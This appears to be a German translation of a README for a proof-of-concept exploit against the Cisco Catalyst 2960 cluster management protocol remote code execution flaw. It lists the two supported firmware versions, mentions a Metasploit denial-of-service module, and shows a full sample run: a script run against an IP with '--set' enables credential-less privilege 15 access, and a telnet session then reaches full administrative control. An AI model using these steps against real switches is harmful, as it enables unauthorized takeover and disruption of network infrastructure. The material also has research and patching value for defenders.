
Dank an artkond
Dieses Repository enthält Proof-of-Concept-Code zur Ausnutzung der Remote-Code-Ausführungsschwachstelle, die von Cisco Systems am 17. März 2017 veröffentlicht wurde – https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp
Der Exploit-Artikel ist hier verfügbar – https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/
RCE-Exploit-Code ist für das Cisco Catalyst 2960 Switch-Modell verfügbar. Dieser Exploit ist firmwareabhängig. Zwei Firmware-Versionen werden unterstützt:
12.2(55)SE1 C2960-LANBASEK9-M
12.2(55)SE11 C2960-LANBASEK9-M
Denial-of-Service-Code ist als Metasploit-Ruby-Modul verfügbar. Dies sollte für die meisten der im Cisco-Advisory genannten Switches funktionieren (Bestätigung erforderlich).
$ python c2960-lanbasek9-m-12.2.55.se11 192.168.88.10 --set
[+] Connection OK
[+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f'
[+] Sending cluster option
[+] Setting credless privilege 15 authentication
[+] All done
$ telnet 192.168.88.10
Trying 192.168.88.10...
Connected to 192.168.88.10.
Escape character is '^]'.
catalyst1#show priv
Current privilege level is 15
Artem Kondratenko https://twitter.com/artkond